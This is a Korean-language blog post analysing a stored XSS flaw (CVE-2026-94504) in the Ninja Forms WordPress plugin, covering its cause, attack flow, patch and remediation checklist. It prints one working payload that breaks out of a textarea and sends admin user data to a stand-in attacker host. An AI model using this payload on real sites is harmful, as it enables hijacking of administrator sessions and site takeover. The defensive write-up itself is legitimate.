본문 바로가기
CVE 취약점

CVE-2026-94504 분석: Ninja Forms 저장형 XSS, </textarea> 한 줄로 관리자 화면을 뚫다

by WhiteGuidance 2026. 10. 6.
반응형

 

한눈에 보기

항목 낸용
CVE CVE-2026-94504
대상 WordPress 플러그인 Ninja Forms (kstover) ≤ 3.15.3
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS 3.1 7.2 (High) — AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
인증 요구 공격자: 불필요 (unauthenticated) / 트리거: 관리자가 제출 내역을 열람해야 함
패치 버전 3.15.4

 

취약점 한 줄 요약

Ninja Forms는 폼 필드를 "리치 텍스트 에디터(RTE) 사용 textarea"와 "일반(non-RTE) textarea" 두 종류로 구분하는데, 일반 textarea에 제출된 값을 레거시 제출 내역(Submission) 편집 화면에 뿌릴 때 esc_textarea() 이스케이프를 누락한 채 html_entity_decode()로 한 번 더 풀어서 그대로 출력한다. 그 결과 공격자는 로그인 없이 공개 폼에 </textarea><script>...</script> 형태의 페이로드를 제출하는 것만으로, 이후 관리자가 wp-admin에서 해당 제출 내역을 열람하는 순간 관리자 세션 컨텍스트에서 스크립트를 실행시킬 수 있다.


취약점 발생 지점 (소스코드 분석)

취약점은 아래 두 파일이 맞물리면서 발생한다.

 

1) includes/Fields/Textarea.php — "이스케이프 담당"이 비어 있다

 
 

정상적인 코드였다면 non-RTE 분기에서도 return esc_textarea( $value ); 처럼 HTML 특수문자(<, >, &, ")를 엔티티로 치환해야 한다. 그런데 "RTE가 아니면 어차피 일반 텍스트니까 이스케이프할 게 없다"는 잘못된 가정 하에 이스케이프 호출 자체가 빠져 있다.

 

2) includes/Database/Models/Submission.php — 이스케이프를 "풀어버리는" 역디코딩

 

이 html_entity_decode() 호출이 문제의 핵심이다. WordPress의 wp_kses/sanitize_textarea_field 계열이 저장 시점에 일부 문자를 엔티티로 바꿔놨더라도, 편집 화면을 그리기 직전에 다시 원문자로 복원시켜 버리기 때문에 저장 단계의 방어가 무력화된다.

 

3) 템플릿 — 복원된 값이 <textarea> 안에 그대로 삽입

 

esc_textarea()가 한 번이라도 호출됐다면 페이로드 안의 </textarea>가 &lt;/textarea&gt;로 치환되어 안전하게 텍스트로만 표시됐을 것이다. 하지만 1)번에서 이스케이프가 누락되고, 2)번에서 혹시 남아있을 엔티티마저 디코딩되며, 3)번에서 추가 이스케이프 없이 echo되므로, 공격자가 제출한 </textarea>가 실제로 textarea 태그를 조기 종료시키는 HTML로 해석된다.


공격 흐름 (Attack Flow)

  1. 페이로드 제출 (인증 불필요): 공격자가 공개된 Ninja Forms 폼(예: 기본 "Contact Me" 폼의 Message 필드처럼 RTE가 꺼진 일반 textarea)에 다음과 같은 값을 제출한다.
</textarea><img src=x onerror="fetch('/wp-json/wp/v2/users/me',{headers:{'X-WP-Nonce':wpApiSettings.nonce}}).then(r=>r.json()).then(d=>fetch('https://attacker.example/c?u='+d.slug))">
 

 

이 요청은 wp-admin/admin-ajax.php의 nf_ajax_submit 액션으로 전송되며, 공개 페이지의 AJAX nonce만 있으면 되므로 로그인 계정이 전혀 필요 없다.

2. 저장: Ninja Forms는 이 값을 제출 내역(submission) 테이블에 그대로 저장한다.

3. 트리거 (관리자 측 행동 필요): 관리자가 wp-admin의 "Submissions" 메뉴에서 해당 제출 건을 열람하면, 위 코드 경로를 따라 html_entity_decode() → 미이스케이프 echo 과정을 거쳐 </textarea>가 실제 태그 종료로 해석되고, 뒤따르는 <img onerror=...>가 관리자 브라우저에서, 관리자 세션 쿠키·nonce 컨텍스트로 실행된다.

4. 파급 효과: 실행된 스크립트는 관리자 권한으로 REST API(/wp/v2/users, 플러그인 설치 엔드포인트 등)를 호출할 수 있어, 관리자 비밀번호 변경, 백도어 관리자 계정 생성, 악성 플러그인 업로드 등으로 이어질 수 있다.

 

공격자가 "로그인 없이" 공격을 심을 수 있지만, 실행을 위해서는 관리자가 해당 제출 내역을 열어봐야 한다는 점에서 완전한 제로클릭은 아니다. 다만 Ninja Forms 관리자는 일상적으로 새 제출 건을 확인하므로 실질적인 트리거 가능성은 높다.

 

  • 1번 노드 (좌측, 빨간 계열 좌측 바): "공격자 — 인증 없음". 공개 Ninja Forms 폼의 non-RTE textarea에 </textarea><img onerror=...> 페이로드 제출. 화살표는 admin-ajax.php?action=nf_ajax_submit로 향함.
  • 2번 노드 (중앙, 회색/중립 좌측 바): "DB 저장". 제출값이 그대로 submission 테이블에 저장됨을 표시. (Textarea.php의 이스케이프 누락 지점을 이 노드 옆 작은 메모 박스로 표시: "esc_textarea() 누락")
  • 3번 노드 (중앙 우측, 주황 계열 좌측 바): "관리자가 Submissions 열람". 사람 모양 아이콘 + wp-admin 브라우저 창. 이 단계에서 html_entity_decode() → 미이스케이프 echo 경로를 작은 코드 조각 뱃지로 표기.
  • 4번 노드 (우측, 진한 빨강 좌측 바): "관리자 컨텍스트에서 스크립트 실행". 관리자 세션 쿠키/REST nonce 탈취 또는 악성 요청 전송을 아이콘(열쇠, 화살표가 외부 서버로 향함)으로 표현.
  • 노드 1→2→3→4를 곡선 커넥터로 연결하고, 각 커넥터 위에 각각 "POST (미인증)", "저장", "열람 트리거", "실행" 라벨을 작게 배치.
  • 하단에 작은 범례 박스로 패치 버전(3.15.4)과 함께 "esc_textarea() 추가로 4번 실행 단계 차단"이라는 짧은 메모를 추가하면, 어디를 고쳤는지 시각적으로 바로 전달된다.

 


패치: 3.15.4에서 무엇이 바뀌었나

공개된 변경 내역에 따르면 패치는 에디터 출력 지점에 이스케이프를 추가하는 방식으로 이뤄졌다.

 

esc_textarea()는 <, >, & 등을 HTML 엔티티로 다시 치환하므로, html_entity_decode()가 먼저 돌더라도 마지막 출력 단계에서 안전하게 막힌다. 즉 근본 수정은 "입력 단계 필터링"이 아니라 "출력 직전 컨텍스트에 맞는 이스케이프(contextual output encoding)"였다 — XSS 방어의 정석이 그대로 적용된 사례다.

진단 체크리스트

  • Ninja Forms 버전이 3.15.3 이하인가 → wp-content/plugins/ninja-forms/readme.txt의 Stable tag 확인
  • 사이트에 RTE가 꺼진(non-RTE) textarea 필드를 가진 공개 폼이 있는가
  • 즉시 3.15.4 이상으로 업데이트하는 것이 유일하고 확실한 조치이며, 업데이트 전까지는 해당 폼을 비공개 처리하거나 WAF로 </textarea> 패턴이 포함된 제출을 차단하는 것이 임시 완화책이 될 수 있다.
반응형